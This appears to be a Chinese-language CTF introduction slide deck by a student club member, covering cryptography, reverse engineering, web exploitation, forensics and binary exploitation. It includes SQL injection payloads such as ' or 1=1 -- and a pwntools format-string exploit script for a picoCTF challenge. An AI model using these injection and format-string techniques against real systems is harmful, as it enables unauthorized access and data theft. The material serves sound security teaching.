Expect Lai
INFOR35th Network Management
建中 賴昱錡
INFOR 35th 網管
CKMSC 39th 225
雖然不電,但在努力變強 > <
DC: laiyuchi#3849
一起來找酷酷的flag 好耶
資訊安全為一總稱,涵蓋了網路、網際網路、端點、API、雲端、應用程式以及容器等各項與網路有關的安全機制,藉由建立一套互相配合運作的資訊安全系統、解決方案和策略,以共同保護數位資料。
CTF(Capture The Flag)搶旗賽,有點類似古時候戰爭時,旗子被敵方佔領,則該場戰役就落敗,現今演變到在電腦上,駭客們運用電腦科學領域的知識來保護我方,奪取敵方的旗子。
類型 | 敘述 |
---|---|
Cryptograpgy | 加密、解密。 |
Reverse | 利用逆向工程的技術,將一個程式逆向分析出其原始碼。 |
Web | 利用網路的漏洞或是分析網路的傳遞找到解答。 |
Forensics | Flag可能會用各種不同方式藏在圖片、文字、檔案、文件之中。 |
Pwnable | 運用程式語言的知識了解程式邏輯存在哪些漏洞 |
數學與電腦科學,能碰撞出什麼火花?
很基礎的技能
Google dorking
可能找出機敏資料,文件
聽起來很酷
其實用途不大
目前開發者最常使用的作業系統,也屬於Unix 生態系的作業系統,也具備開源與自由的特性。
古典密碼學
維吉尼亞密碼
One time pad
豬圈密碼
Rail-Fence cipher
CyberChef:解壓縮、解析IPv6地址、解碼Base64字元串、格式轉換
PwnTools: 專用於 CTF Exploit的Python Library
Factordb: 質因數分解工具,與RSA有關
quipquip: 快速的替換式解密工具
gmpy2: Python中的GNU高精度算術運算庫
雜湊函數
不同的 Data,例如 (x,y),經過 Hashing function 計算後得出相同的 Hashing Address 稱之,也就是 H (x) = H (y)。
而當 Collision 發生後,且對應的 Bucket 已滿,則稱為 Overflow。
常見的hash函數如: sha1~sha3 (sha家族)、md5
#include <iostream>
using namespace std;
const int mul = 37, mod = 1e9 + 7;
int main() {
string s = "abcde";
long long Hash = 0;
for (auto i: s){
Hash *= mul;
Hash += (int) i;
Hash %= mod;
cout << Hash << ' ';
}
return 0;
}
#include <iostream>
#include <vector>
using namespace std;
const int mul = 37, mod = 1e9 + 7;
const int maxn = 10;
vector <int> g[maxn];
int dfs(int now, int pre){
vector <int> v;
for (auto i: g[now]){
if(i != pre){
v.push_back(dfs(i, now));
}
}
sort(v.rbegin(), v.rend());
long long ret = 1;
for (auto i: v){
ret *= mul;
ret += i;
ret %= mod;
}
return ret;
}
int main() {
int n, a, b;
cin >> n;
for (int i=0; i<n-1; i++){
cin >> a >> b;
g[a].push_back(b);
g[b].push_back(a);
}
cout << dfs(0, -1) << endl;
for (int i=0; i<n; i++){
g[i].clear();
}
for (int i=0; i<n-1; i++){
cin >> a >> b;
g[a].push_back(b);
g[b].push_back(a);
}
cout << dfs(5, -1) << endl;
return 0;
}
酷酷的非對稱加密
Simple proof of Fermat's little theorem
蠻多數學定理的證明,今天顯然不會講
加密&解密:
令明文為x,密文為y,
加密:
\(x^e\pmod n\equiv y\)
解密:
\(x^d\pmod n\equiv y\)
程式&網頁的運作也許沒你想的這麼簡單
Reverse engineering
寫的code
組合語言
object code
exe
compiler
assembler
linker
decompiler
(僅邏輯一樣)
disassembler
(完整還原)
丟給OS處理
怎麼放到記憶體、進入點...
*entry point (程式進入點):
每一個程式第一個被執行的那個指令,以C語言為例,main函式即是entry point
套路: 指令 目的地, 參數A, [參數B]
MOV RAX,5
ADD RAX,0x55
AND/OR/XOR RAX,0xFF
CMP RAX, 0x87
RAX=5
RAX=RAX+0x55
RAX=RAX & / || / ^ 0xFF
CMP是三小?
旗標暫存器(FLAG)
可以儲存運算狀態,通常出現在需要判斷式時(搭配Jump跟Call系列指令使用,Ex:JMP、JE)。
以上面為例,可以分為三種情況:
RAX<0x87,CarryFlag=1
RAX=0x87,ZeroFlag=1
RAX>0x87,CarryFlag=1 & ZeroFlag=1
Web exploitation
他可以告訴搜尋引擎哪些網站是不想被搜尋到的,可能像是還在測試中的網站、網站管理者登入的後台、存在某些特殊的檔案等等,不過這只是不讓搜尋引擎找到,若是從別的網站得到該網址還是會被訪問
Curl 是一個在 Linux 上用來透過 HTTP Protocol(HTTP HyperText Transfer Protocol 定義存取網路資源的協定,讓我們可以使用 client / server 模式來取得網路資源)下載和上傳檔案的指令(比起 wget 只能下載強大許多)
def get(self):
# Disable the reflected XSS filter for demonstration purposes
self.response.headers.add_header("X-XSS-Protection", "0")
if not self.request.get('query'):
# Show main search page
self.render_string(page_header + main_page_markup + page_footer)
else:
query = self.request.get('query', '[empty]')
# Our search engine broke, we found no results :-(
message = "Sorry, no results were found for <b>" + query + "</b>."
message += " <a href='?'>Try again</a>."
# Display the results page
self.render_string(page_header + message + page_footer)
實作: XSS game的LEVEL1
要怎麼觸發alert()?
實作: XSS game的LEVEL2
javascript中的innerHTML只能用來撰寫HTML元素,因此沒辦法照上一關的方式
要怎麼觸發alert()的事件?
24歲的Raven Felix Null來自美國,他說他成年之後就將姓氏改為「Null」這個單詞,它與許多電腦程式不相容,因此許多系統不會將他當做一個人來看待。
這種程式設計錯誤意味著,當一位員工將Null這個單詞當做姓氏輸入IT系統之後,該系統會將這個單詞識別為「資料空缺」,並拒絕驗證它。這種IT小故障常常使得Raven不必為他買的東西付錢。
這聽起來蠻蠢的,但在近年來根據Google、OWASP等網站統計,SQL注入依然是蠻常發生的漏洞。
id | name | password |
---|---|---|
9487 | richardlai | 71227122 |
hidd3n | willychan | orzwilly |
bruh001 | aliceqwq | ji3bji4 |
SELECT name FROM table1 WHERE password="richardisweak"
var user = input()
var pass = input()
var line =
"SELECT user FROM table WHERE user='${user}' AND pass='${pass}'"
var result = sql.exec(line)
if(result){
login()
}else{
notLogin()
}
而今天當程式語言要執行一個SQL時,需先構建一個SQL語句的字串
pseudo code如下
SELECT user FROM table WHERE user='richardlaiiiii' AND pass='laiyukiweak'
SELECT * FROM user WHERE name= 'XXX' and password = 'OOO' ;
翻譯: 幫我找一下 使用者 是不是有 名字是 'XXX' 和 密碼是 'OOO'
當我今天的input改成 ' ' or 1=1 --
SELECT * FROM user WHERE name= '' or 1=1 -- and password = 'OOO' ;
沒錯,我們成功改變了執行條件! 既然資料庫都以為你說的話是指令了,你當然能做其他事情。
如果我今天想搞事,把帳號中多加個 '
會發生什麼?
SELECT user FROM table WHERE user='richardl'aiiiii' AND pass='laiyukiweak'
SELECT user FROM table WHERE user='richardlaiiiii' AND pass=='1';--' AND pass=='laiyukiweak'
//
;代表將SQL語句分開
--代表忽視
SQL injection其實就是透過輸入改變執行條件
會報錯,但如果我突然又想搞事,把輸入的帳號改成: richardlaiiiii' AND pass=='1';--
SQL injection又可以分為blind base跟Union base,前者有點像瞎猜,後者則是Union運算子來搞事情。
隱寫術與程式安全
PWN與Reverse相比偏動態,常見的類型又可以分為overflow、use-after-free
思考一下以下這個程式邏輯會遇到什麼漏洞?
密碼[16]
登入 = False
...
IF not 登入
輸入密碼
IF (密碼 is ...) or (登入 is True)
登入成功
Digital Forensics
隱寫術(Steganography)是一門關於資訊隱藏的技巧與科學,
資訊隱藏(data hiding)指的是不讓除預期的接收者之外的任何人知曉資訊的傳遞事件或者資訊的內容。
file -> hexdump -> binwalk -> dd
file carter.jpg
查看檔案格式,似乎沒啥特別的
hexdump carter.jpg
使用hex編輯器分析檔案
binwalk carter.jpg
從執行結果 ==> 了解到圖片後面還有圖片
dd if=carter.jpg of=carter-1.jpg skip=140147 bs=1
>if是指定輸入檔
>of是指定輸出檔
>skip是指定從輸入檔開頭跳過140147個塊後再開始複製
>bs設置每次讀寫塊的大小為1位元組
exiftool img.jpg
->
ExifTool是Phil Harvey以Perl寫成的自由開源軟體,
可讀寫及處理圖像、視頻及音頻的metadata,例如Exif
、IPTC、XMP、JFIF、GeoTIFF、ICC Profile。它是
跨平台的,可作為命令列或Perl函式庫使用。
exiftool也可以用來修改圖片EXIF資訊,語法如下:
exiftool -CreateDate='yyyy:mm:dd hh:mm:ss' /x.jpg
exiftool -ModifyDate='yyyy:mm:dd hh:mm:ss' /x.jpg
Binary exploitation
所謂 Binary Exploitation 直翻是二進制程式檔滲透,
其實就是找尋程式中的漏洞,或是取得伺服器權限,使用伺服器 shell 偷取檔案、修改資料等等。
Fun fact: CTF中的pwn其實是"碰"的狀聲詞,沒什麼特別的意思
ELF是Linux執行檔的格式,與windows的PE格式相同
程式碼 (binary)
已初始化的全域變數
未初始化的全域變數
動態記憶體空間,由低往高
存放暫存資料,由高往低
(FILO、區域變數)
用於 CTF Exploit的Python Library,用法超級多
Stonks
Wireshark doo dooo do doo...
source: picoCTF
# import pwntools
from pwn import *
# string to write to
s = ""
# open up remote connection
r = remote('mercury.picoctf.net', 33411)
# get to vulnerability
r.recvuntil("View my")
r.send("1\n")
r.recvuntil("What is your API token?\n")
# send string to print stack
r.send("%x" + "-%x"*40 + "\n")
# receive until the line we want
r.recvline()
# read in line
x = r.recvline()
# remove unwanted components
x = x[:-1].decode()
# parse to characters
for i in x.split('-'):
if len(i) == 8:
a = bytearray.fromhex(i)
for b in reversed(a):
if b > 32 and b < 128:
s += chr(b)
# print string
print(s)
good luck
IG: infor35_richardlaiiiii
Thank you for your time and attention.
Hope you enjoy it!
By Expect Lai